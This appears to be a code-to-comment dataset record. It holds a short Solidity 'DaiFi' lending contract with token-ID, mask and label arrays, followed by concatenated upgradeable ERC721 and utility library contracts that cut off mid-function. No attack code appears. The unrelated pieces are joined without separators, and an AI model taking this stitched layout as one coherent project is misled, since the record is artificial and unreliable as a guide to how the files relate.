/**
* @notice Gets the balances of total Wei (external view)
* @return The total Wei balances
*/
function getTotalWei() external view returns (Types.Balances memory) {
return totalWei;
}
/**
* @notice Gets the balances of total attoDai (external view)
* @return The total attoDai balances
*/
function getTotalAttoDai() external view returns (Types.Balances memory) {
return totalAttoDai;
}
/**
* @notice Gets the account for the given address (external view)
* @param accountAddress The address of the account
* @return The account
*/
function getAccount(address accountAddress) external view returns (Types.Account memory) {
return accounts[accountAddress];
}
}
// TODO: abstracted interest rate model / compounded interest (require rates never above MAX %)
// TODO: abstract supplying and borrowing across wei / dai?
// TODO: liquidisation
// TODO: add timelocked admin?
| * @title DaiFi Contract @notice The DaiFi main contract @author DaiFi/ | contract DaiFi is DaiFiActions {
import { DaiFiActions } from "./implementations/DaiFiActions.sol";
import { Types } from "./lib/Types.sol";
constructor(address daiAddress, address daiPriceOracle) DaiFiActions(daiAddress, daiPriceOracle) public {}
function getTotalWei() external view returns (Types.Balances memory) {
return totalWei;
}
function getTotalAttoDai() external view returns (Types.Balances memory) {
return totalAttoDai;
}
function getAccount(address accountAddress) external view returns (Types.Account memory) {
return accounts[accountAddress];
}
}
| 6,419,475 | [
1,
40,
10658,
42,
77,
13456,
225,
1021,
463,
10658,
42,
77,
2774,
6835,
225,
463,
10658,
42,
77,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
463,
10658,
42,
77,
353,
463,
10658,
42,
77,
6100,
288,
203,
203,
203,
5666,
288,
463,
10658,
42,
77,
6100,
289,
628,
25165,
10442,
1012,
19,
40,
10658,
42,
77,
6100,
18,
18281,
14432,
203,
5666,
288,
7658,
289,
628,
25165,
2941,
19,
2016,
18,
18281,
14432,
203,
565,
3885,
12,
2867,
5248,
77,
1887,
16,
1758,
5248,
77,
5147,
23601,
13,
463,
10658,
42,
77,
6100,
12,
2414,
77,
1887,
16,
5248,
77,
5147,
23601,
13,
1071,
2618,
203,
565,
445,
12831,
3218,
77,
1435,
3903,
1476,
1135,
261,
2016,
18,
38,
26488,
3778,
13,
288,
203,
3639,
327,
2078,
3218,
77,
31,
203,
565,
289,
203,
203,
565,
445,
12831,
3075,
83,
40,
10658,
1435,
3903,
1476,
1135,
261,
2016,
18,
38,
26488,
3778,
13,
288,
203,
3639,
327,
2078,
3075,
83,
40,
10658,
31,
203,
565,
289,
203,
203,
565,
445,
23393,
12,
2867,
2236,
1887,
13,
3903,
1476,
1135,
261,
2016,
18,
3032,
3778,
13,
288,
203,
3639,
327,
9484,
63,
4631,
1887,
15533,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return interfaceId == type(IERC721Upgradeable).interfaceId
|| interfaceId == type(IERC721MetadataUpgradeable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable {
function __ERC721URIStorage_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721URIStorage_init_unchained();
}
function __ERC721URIStorage_init_unchained() internal initializer {
}
using StringsUpgradeable for uint256;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
